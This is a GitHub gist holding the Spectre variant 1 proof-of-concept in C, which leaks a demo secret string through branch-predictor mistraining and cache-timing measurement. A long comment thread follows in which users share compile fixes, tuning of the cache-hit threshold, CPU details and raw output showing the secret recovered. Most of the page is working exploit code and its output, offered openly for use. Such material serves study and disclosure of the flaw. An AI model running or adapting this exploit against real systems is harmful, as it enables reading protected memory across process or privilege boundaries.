Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char * secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}

ivan commented Jan 4, 2018

Maybe obvious, but don't add -O2 out of habit; optimization seems to break it.

kuhar commented Jan 4, 2018

#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
Compilation fails at this line when using clang 5.0 and gcc 7.2. Adding an extra space before (80) fixes that.

I was going to say that, but also the parentheses around 80 are pointless as 80 is an atomic token.

BTW, thanks for this. I hadn't fully appreciated how easy this is to deploy.

crozone commented Jan 4, 2018

I made the #define CACHE_HIT_THRESHOLD (80) space fix and ran it an AMD GX-412TC SOC. It managed to recover some of the secret, but most of it was returned as 'e' with a score of 0.

I upped the CACHE_HIT_THRESHOLD to 100 and it worked 100% first time, everything had a score of 2. Scary and awesome stuff.

EDIT: I did some more experimenting with the CACHE_HIT_THRESHOLD and the optimal threshold for this CPU seems to be around 300 (the first few score 2, and then it hits a score of around 997/998/999). Going too high made incorrect things return as false positives. It might be necessary to add a threshold searching capability to increase effectiveness over a broader range of CPUs.

Thanks for posting this. With some slight tweaking[1], I was able to recover the secret on an ancient pentium-m 1.50ghz from 2004 or 2005. This issue has existed for a while 😟

50c50
< #define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
---
> #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
89c89
<       time1 = __rdtscp( & junk); /* READ TIMER */
---
>       time1 = __rdtsc(); /* READ TIMER */
91c91
<       time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
---
>       time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */

Compiled under gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) with gcc -march=pentium4 -std=c99 -O0 spectre.c -o spectre. The -march=pentium4 enables the use of __rdtsc.

/proc/cpuinfo:

processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 13
model name      : Intel(R) Pentium(R) M processor 1.50GHz
stepping        : 8
microcode       : 0x20
cpu MHz         : 600.000
cache size      : 2048 KB
physical id     : 0
siblings        : 1
core id         : 0
cpu cores       : 1
apicid          : 0
initial apicid  : 0
fdiv_bug        : no
f00f_bug        : no
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 2
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov clflush dts acpi mmx fxsr sse sse2 ss tm pbe nx bts est tm2
bogomips        : 1196.01
clflush size    : 64
cache_alignment : 64
address sizes   : 32 bits physical, 32 bits virtual
power management:

[1] Space fix as mentioned earlier in thread, and using __rdtsc instead of __rdtscp (the former is supported by older CPUs, unlike the latter).

Wow nice :)

kfrz commented Jan 4, 2018

Fascinating, and terrifying.

Had to change "?" to '?' in line 136 on gcc 7.2.1 (in addition to the fix for CACHE_HIT_THRESHOLD mentioned above)

teh-monad commented Jan 4, 2018

Thanks for sharing.

$lscpu | grep CPU
Model name:            Intel(R) Xeon(R) CPU           E5450  @ 3.00GHz
$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff868... Unclear: 0x0D=’?’ score=62 (second best: 0x0E score=61)
Reading at malicious_x = 0xffffffffffdff869... Unclear: 0x08=’?’ score=62 (second best: 0x05 score=62)
Reading at malicious_x = 0xffffffffffdff86a... Unclear: 0x05=’?’ score=62 (second best: 0x04 score=62)
Reading at malicious_x = 0xffffffffffdff86b... Unclear: 0x05=’?’ score=62 (second best: 0x04 score=62)

beatcracker commented Jan 4, 2018

Trying to compile it on Xeon X3363 using Cygwin with gcc 4.9.2 (Babun shell) on Windows with (80) and '?' fixes. It compiles ok, but fails when I run it:

 gcc -std=c99 -O0 spectre.c -o spectre

./spectre.exe

Reading 40 bytes:
[1]    1956 illegal hardware instruction (core dumped)  ./spectre.exe

Tried different options for -march, but no luck. Any ideas?


P.S. Pentium4m fix from @progman32 worked. Thanks!


beatcracker commented Jan 4, 2018

Here is my result

Reading 40 bytes:
Reading at malicious_x = 0xfe0... Unclear: 0x01=’?’ score=63 (second best: 0x00 score=60)
Reading at malicious_x = 0xfe1... Unclear: 0x0A=’?’ score=58 (second best: 0x03 score=58)
Reading at malicious_x = 0xfe2... Unclear: 0x02=’?’ score=60 (second best: 0x0B score=59)
Reading at malicious_x = 0xfe3... Unclear: 0x0E=’?’ score=58 (second best: 0x06 score=57)
Reading at malicious_x = 0xfe4... Unclear: 0x02=’?’ score=57 (second best: 0x00 score=56)
Reading at malicious_x = 0xfe5... Unclear: 0x08=’?’ score=59 (second best: 0x00 score=58)
Reading at malicious_x = 0xfe6... Unclear: 0x00=’?’ score=60 (second best: 0x01 score=60)
Reading at malicious_x = 0xfe7... Unclear: 0x0A=’?’ score=58 (second best: 0x09 score=58)
Reading at malicious_x = 0xfe8... Unclear: 0x02=’?’ score=61 (second best: 0x01 score=61)
Reading at malicious_x = 0xfe9... Unclear: 0x00=’?’ score=58 (second best: 0x0E score=57)
Reading at malicious_x = 0xfea... Unclear: 0x01=’?’ score=57 (second best: 0x07 score=56)
Reading at malicious_x = 0xfeb... Unclear: 0x02=’?’ score=59 (second best: 0x08 score=57)
Reading at malicious_x = 0xfec... Unclear: 0x07=’?’ score=61 (second best: 0x08 score=58)
Reading at malicious_x = 0xfed... Unclear: 0x08=’?’ score=57 (second best: 0x01 score=57)
Reading at malicious_x = 0xfee... Unclear: 0x08=’?’ score=61 (second best: 0x00 score=61)
Reading at malicious_x = 0xfef... Unclear: 0x00=’?’ score=58 (second best: 0x0E score=57)
Reading at malicious_x = 0xff0... Unclear: 0x0E=’?’ score=59 (second best: 0x06 score=58)
Reading at malicious_x = 0xff1... Unclear: 0x09=’?’ score=57 (second best: 0x02 score=56)
Reading at malicious_x = 0xff2... Unclear: 0x0E=’?’ score=58 (second best: 0x09 score=58)
Reading at malicious_x = 0xff3... Unclear: 0x09=’?’ score=62 (second best: 0x02 score=62)
Reading at malicious_x = 0xff4... Unclear: 0x06=’?’ score=56 (second best: 0x01 score=56)
Reading at malicious_x = 0xff5... Unclear: 0x06=’?’ score=61 (second best: 0x0E score=60)
Reading at malicious_x = 0xff6... Unclear: 0x02=’?’ score=59 (second best: 0x0A score=57)
Reading at malicious_x = 0xff7... Unclear: 0x02=’?’ score=61 (second best: 0x0E score=57)
Reading at malicious_x = 0xff8... Unclear: 0x0A=’?’ score=59 (second best: 0x02 score=57)
Reading at malicious_x = 0xff9... Unclear: 0x02=’?’ score=60 (second best: 0x09 score=58)
Reading at malicious_x = 0xffa... Unclear: 0x06=’?’ score=59 (second best: 0x0E score=55)
Reading at malicious_x = 0xffb... Unclear: 0x07=’?’ score=57 (second best: 0x06 score=56)
Reading at malicious_x = 0xffc... Unclear: 0x02=’?’ score=59 (second best: 0x0E score=57)
Reading at malicious_x = 0xffd... Unclear: 0x07=’?’ score=59 (second best: 0x0E score=58)
Reading at malicious_x = 0xffe... Unclear: 0x02=’?’ score=59 (second best: 0x0E score=57)
Reading at malicious_x = 0xfff... Unclear: 0x0A=’?’ score=57 (second best: 0x08 score=57)
Reading at malicious_x = 0x1000... Unclear: 0x06=’?’ score=58 (second best: 0x02 score=58)
Reading at malicious_x = 0x1001... Unclear: 0x02=’?’ score=58 (second best: 0x03 score=57)
Reading at malicious_x = 0x1002... Unclear: 0x09=’?’ score=57 (second best: 0x08 score=57)
Reading at malicious_x = 0x1003... Unclear: 0x01=’?’ score=59 (second best: 0x00 score=59)
Reading at malicious_x = 0x1004... Unclear: 0x08=’?’ score=59 (second best: 0x01 score=58)
Reading at malicious_x = 0x1005... Success: 0x67=’g’ score=7 (second best: 0x03 score=1)
Reading at malicious_x = 0x1006... Unclear: 0x02=’?’ score=59 (second best: 0x06 score=58)
Reading at malicious_x = 0x1007... Unclear: 0x03=’?’ score=57 (second best: 0x0A score=56)

I've played with CACHE_HIT_THRESHOLD but it doesn't help much.

blackjec69 commented Jan 4, 2018

$ gcc -march=pentium4 -std=c99 -O0 spectre.c -o spectre 
spectre.c:1:0: error: CPU you selected does not support x86-64 instruction set
 #include <stdio.h>

If compile without any "-march" -

$ ./spectre
Reading 40 bytes:
Illegal istruction

UPD gcc-5, ubuntu 16.04 x86-64
UPD2 with change __rdtscp to __rdtsc - work, but no found any result. CPU - Intel Core2Quad Q6600

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeb68... Unclear: 0x0A=’?’ score=58 (second best: 0x06 score=58)
Reading at malicious_x = 0xffffffffffdfeb69... Unclear: 0x02=’?’ score=63 (second best: 0x09 score=62)
Reading at malicious_x = 0xffffffffffdfeb6a... Unclear: 0x08=’?’ score=62 (second best: 0x07 score=62)
Reading at malicious_x = 0xffffffffffdfeb6b... Unclear: 0x09=’?’ score=62 (second best: 0x0E score=61)
Reading at malicious_x = 0xffffffffffdfeb6c... Unclear: 0x0E=’?’ score=62 (second best: 0x0B score=62)
Reading at malicious_x = 0xffffffffffdfeb6d... Unclear: 0x0E=’?’ score=62 (second best: 0x08 score=62)
Reading at malicious_x = 0xffffffffffdfeb6e... Unclear: 0x0E=’?’ score=32 (second best: 0x07 score=31)
Reading at malicious_x = 0xffffffffffdfeb6f... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfeb70... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfeb71... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfeb72... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfeb73... Success: 0xFF=’?’ score=0 
     and so on

awt135 commented Jan 4, 2018

windows 10 x64 worked , then test for linux also work .. wait for windows update tonight.

tim 20180104180616
tim 20180104180729

bwilber commented Jan 4, 2018

Works just fine on Opteron 4170 HE under FreeBSD. Fantastic.

diimdeep commented Jan 4, 2018

i5-4288U CPU @ 2.60GHz
macOS 10.13.2
#define CACHE_HIT_THRESHOLD (60)

clang -std=c99 -O0 spectre.c -o spectre
./spectre
Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffeb6... Unclear: 0x54=’T’ score=977 (second best: 0x02 score=797)
Reading at malicious_x = 0xfffffffffffffeb7... Unclear: 0x68=’h’ score=969 (second best: 0x02 score=671)
Reading at malicious_x = 0xfffffffffffffeb8... Unclear: 0x65=’e’ score=914 (second best: 0x02 score=806)
Reading at malicious_x = 0xfffffffffffffeb9... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xfffffffffffffeba... Success: 0x4D=’M’ score=9 (second best: 0x02 score=2)
Reading at malicious_x = 0xfffffffffffffebb... Success: 0x61=’a’ score=9 (second best: 0x02 score=2)
Reading at malicious_x = 0xfffffffffffffebc... Success: 0x67=’g’ score=307 (second best: 0x02 score=151)
Reading at malicious_x = 0xfffffffffffffebd... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xfffffffffffffebe... Success: 0x63=’c’ score=9 (second best: 0x01 score=2)
Reading at malicious_x = 0xfffffffffffffebf... Success: 0x20=’ ’ score=11 (second best: 0x02 score=3)
Reading at malicious_x = 0xfffffffffffffec0... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xfffffffffffffec1... Success: 0x6F=’o’ score=9 (second best: 0x01 score=2)
Reading at malicious_x = 0xfffffffffffffec2... Success: 0x72=’r’ score=23 (second best: 0x02 score=9)
Reading at malicious_x = 0xfffffffffffffec3... Success: 0x64=’d’ score=23 (second best: 0x01 score=9)
Reading at malicious_x = 0xfffffffffffffec4... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xfffffffffffffec5... Success: 0x20=’ ’ score=79 (second best: 0x02 score=37)
Reading at malicious_x = 0xfffffffffffffec6... Success: 0x61=’a’ score=31 (second best: 0x02 score=13)
Reading at malicious_x = 0xfffffffffffffec7... Success: 0x72=’r’ score=13 (second best: 0x02 score=4)
Reading at malicious_x = 0xfffffffffffffec8... Success: 0x65=’e’ score=11 (second best: 0x01 score=3)
Reading at malicious_x = 0xfffffffffffffec9... Success: 0x20=’ ’ score=7 (second best: 0x02 score=1)
Reading at malicious_x = 0xfffffffffffffeca... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xfffffffffffffecb... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xfffffffffffffecc... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xfffffffffffffecd... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xfffffffffffffece... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xfffffffffffffecf... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xfffffffffffffed0... Success: 0x69=’i’ score=11 (second best: 0x02 score=3)
Reading at malicious_x = 0xfffffffffffffed1... Success: 0x73=’s’ score=17 (second best: 0x01 score=6)
Reading at malicious_x = 0xfffffffffffffed2... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xfffffffffffffed3... Success: 0x20=’ ’ score=185 (second best: 0x02 score=90)
Reading at malicious_x = 0xfffffffffffffed4... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xfffffffffffffed5... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xfffffffffffffed6... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xfffffffffffffed7... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xfffffffffffffed8... Success: 0x66=’f’ score=75 (second best: 0x02 score=35)
Reading at malicious_x = 0xfffffffffffffed9... Success: 0x72=’r’ score=9 (second best: 0x01 score=2)
Reading at malicious_x = 0xfffffffffffffeda... Success: 0x61=’a’ score=25 (second best: 0x01 score=10)
Reading at malicious_x = 0xfffffffffffffedb... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xfffffffffffffedc... Success: 0x65=’e’ score=11 (second best: 0x02 score=3)
Reading at malicious_x = 0xfffffffffffffedd... Success: 0x2E=’.’ score=7 (second best: 0x02 score=1)

Symbian9 commented Jan 4, 2018

pve ~ $ vim spectre.c 
pve ~ $ gcc -std=c11 -o spectre spectre.c 
pve ~ $ ./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff898... Success: 0x54=’T’ score=11 (second best: 0x01 score=3)
Reading at malicious_x = 0xffffffffffdff899... Unclear: 0x68=’h’ score=999 (second best: 0x00 score=843)
Reading at malicious_x = 0xffffffffffdff89a... Unclear: 0x65=’e’ score=998 (second best: 0x00 score=876)
Reading at malicious_x = 0xffffffffffdff89b... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=778)
Reading at malicious_x = 0xffffffffffdff89c... Unclear: 0x4D=’M’ score=999 (second best: 0x00 score=822)
Reading at malicious_x = 0xffffffffffdff89d... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=857)
Reading at malicious_x = 0xffffffffffdff89e... Unclear: 0x67=’g’ score=998 (second best: 0x00 score=945)
Reading at malicious_x = 0xffffffffffdff89f... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=813)
Reading at malicious_x = 0xffffffffffdff8a0... Unclear: 0x63=’c’ score=155 (second best: 0x00 score=78)
Reading at malicious_x = 0xffffffffffdff8a1... Success: 0x20=’ ’ score=29 (second best: 0x00 score=9)
Reading at malicious_x = 0xffffffffffdff8a2... Unclear: 0x57=’W’ score=999 (second best: 0x00 score=667)
Reading at malicious_x = 0xffffffffffdff8a3... Unclear: 0x6F=’o’ score=999 (second best: 0x00 score=653)
Reading at malicious_x = 0xffffffffffdff8a4... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=804)
Reading at malicious_x = 0xffffffffffdff8a5... Unclear: 0x64=’d’ score=999 (second best: 0x00 score=884)
Reading at malicious_x = 0xffffffffffdff8a6... Success: 0x73=’s’ score=75 (second best: 0x01 score=35)
Reading at malicious_x = 0xffffffffffdff8a7... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=668)
Reading at malicious_x = 0xffffffffffdff8a8... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=740)
Reading at malicious_x = 0xffffffffffdff8a9... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=956)
Reading at malicious_x = 0xffffffffffdff8aa... Unclear: 0x65=’e’ score=999 (second best: 0x00 score=857)
Reading at malicious_x = 0xffffffffffdff8ab... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=865)
Reading at malicious_x = 0xffffffffffdff8ac... Unclear: 0x53=’S’ score=999 (second best: 0x00 score=741)
Reading at malicious_x = 0xffffffffffdff8ad... Unclear: 0x71=’q’ score=999 (second best: 0x00 score=934)
Reading at malicious_x = 0xffffffffffdff8ae... Unclear: 0x75=’u’ score=75 (second best: 0x00 score=38)
Reading at malicious_x = 0xffffffffffdff8af... Unclear: 0x65=’e’ score=999 (second best: 0x00 score=840)
Reading at malicious_x = 0xffffffffffdff8b0... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=940)
Reading at malicious_x = 0xffffffffffdff8b1... Success: 0x6D=’m’ score=241 (second best: 0x00 score=115)
Reading at malicious_x = 0xffffffffffdff8b2... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=864)
Reading at malicious_x = 0xffffffffffdff8b3... Unclear: 0x73=’s’ score=53 (second best: 0x00 score=29)
Reading at malicious_x = 0xffffffffffdff8b4... Unclear: 0x68=’h’ score=999 (second best: 0x00 score=657)
Reading at malicious_x = 0xffffffffffdff8b5... Unclear: 0x20=’ ’ score=997 (second best: 0x00 score=919)
Reading at malicious_x = 0xffffffffffdff8b6... Unclear: 0x4F=’O’ score=999 (second best: 0x00 score=902)
Reading at malicious_x = 0xffffffffffdff8b7... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=810)
Reading at malicious_x = 0xffffffffffdff8b8... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=654)
Reading at malicious_x = 0xffffffffffdff8b9... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=799)
Reading at malicious_x = 0xffffffffffdff8ba... Unclear: 0x66=’f’ score=999 (second best: 0x00 score=835)
Reading at malicious_x = 0xffffffffffdff8bb... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=841)
Reading at malicious_x = 0xffffffffffdff8bc... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=849)
Reading at malicious_x = 0xffffffffffdff8bd... Unclear: 0x67=’g’ score=999 (second best: 0x00 score=759)
Reading at malicious_x = 0xffffffffffdff8be... Unclear: 0x65=’e’ score=999 (second best: 0x00 score=946)
Reading at malicious_x = 0xffffffffffdff8bf... Unclear: 0x2E=’.’ score=999 (second best: 0x00 score=789)
pve ~ $ lscpu 
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                8
On-line CPU(s) list:   0-7
Thread(s) per core:    2
Core(s) per socket:    4
Socket(s):             1
NUMA node(s):          1
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 94
Model name:            Intel(R) Xeon(R) CPU E3-1230 v5 @ 3.40GHz
Stepping:              3
CPU MHz:               3568.671
CPU max MHz:           3800.0000
CPU min MHz:           800.0000
BogoMIPS:              6815.82
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K
L3 cache:              8192K
NUMA node0 CPU(s):     0-7

Source: https://www.linux.org.ru/news/security/13934697?cid=13935544

midnightpizza commented Jan 4, 2018

Interesting, FX-8320 always returns:

with cache hit threshold 100

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfee88... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfee89... Success: 0x68=’h’ score=2

.. just score 2 all the way? hmm
but returns.. The Magic Words are squeamish Ossifrage

otherwise at default (80)

Reading at malicious_x = 0xffffffffffdfee88... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfee89... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfee8a... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfee8b... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfee8c... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfee8d... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfee8e... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfee8f... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfee90... Success: 0xFF=’?’ score=0
...

But with an AMD Opteron(tm) Processor 4122 > (100) (same with (80))

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeeb8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfeeb9... Success: 0x68=’h’ score=7 (second best: 0x81 score=1)
Reading at malicious_x = 0xffffffffffdfeeba... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeebb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeebc... Success: 0x4D=’M’ score=7 (second best: 0xF1 score=1)
Reading at malicious_x = 0xffffffffffdfeebd... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeebe... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfeebf... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeec0... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfeec1... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeec2... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfeec3... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfeec4... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeec5... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfeec6... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeec7... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeec8... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeec9... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeeca... Success: 0x65=’e’ score=7 (second best: 0xDF score=1)
Reading at malicious_x = 0xffffffffffdfeecb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeecc... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfeecd... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfeece... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfeecf... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeed0... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeed1... Success: 0x6D=’m’ score=7 (second best: 0x99 score=1)
Reading at malicious_x = 0xffffffffffdfeed2... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeed3... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeed4... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfeed5... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeed6... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfeed7... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeed8... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeed9... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeeda... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfeedb... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeedc... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeedd... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfeede... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeedf... Success: 0x2E=’.’ score=2

Both Kernel 4.9.73, grsec

Symbian9 commented Jan 4, 2018

With patches

  • #define CACHE_HIT_THRESHOLD(80) -> #define CACHE_HIT_THRESHOLD (80)
  • "?" -> '?'

It compiled but test not reproduced

$ gcc -std=c99 -O0 spectre.c -o spectre
$ ./spectre
Reading 40 bytes:
Illegal instruction

If try add -march=pentium4 got

$ gcc -march=pentium4 -std=c99 -O0 spectre.c -o spectre
spectre.c:1:0: error: CPU you selected does not support x86-64 instruction set
 #include <stdio.h>

spectre.c:1:0: error: CPU you selected does not support x86-64 instruction set

CPU info

Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                2
On-line CPU(s) list:   0,1
Thread(s) per core:    1
Core(s) per socket:    2
Socket(s):             1
NUMA node(s):          1
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 15
Model name:            Intel(R) Pentium(R) Dual  CPU  T2330  @ 1.60GHz
Stepping:              13
CPU MHz:               1600.000
CPU max MHz:           1600.0000
CPU min MHz:           800.0000
BogoMIPS:              3192.27
L1d cache:             32K
L1i cache:             32K
L2 cache:              1024K
NUMA node0 CPU(s):     0,1

OS info

$ neofetch
OS: MX 17 Horizon x86_64
Kernel: 4.13.0-1-amd64

So, my PC secured from spectre or not?

i336 commented Jan 4, 2018

Using progman32's modifications I'm able to run this on my ThinkPad T43. Each read reports success every run.

For reference, I'm using gcc -o spectre spectre.c -march=native -g -O3

  • Yes, it is successful with -O3

  • -march=native makes GCC figure out my Pentium M

$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 13
model name      : Intel(R) Pentium(R) M processor 2.00GHz
stepping        : 8
microcode       : 0x20
cpu MHz         : 800.000
cache size      : 2048 KB
fdiv_bug        : no
f00f_bug        : no
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 2
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov clflush dts acpi mmx fxsr sse sse2 ss tm pbe nx bts est tm2
bugs            :
bogomips        : 1596.15
clflush size    : 64
cache_alignment : 64
address sizes   : 32 bits physical, 32 bits virtual
power management:

Question: What is the oldest CPU this is likely to work on?

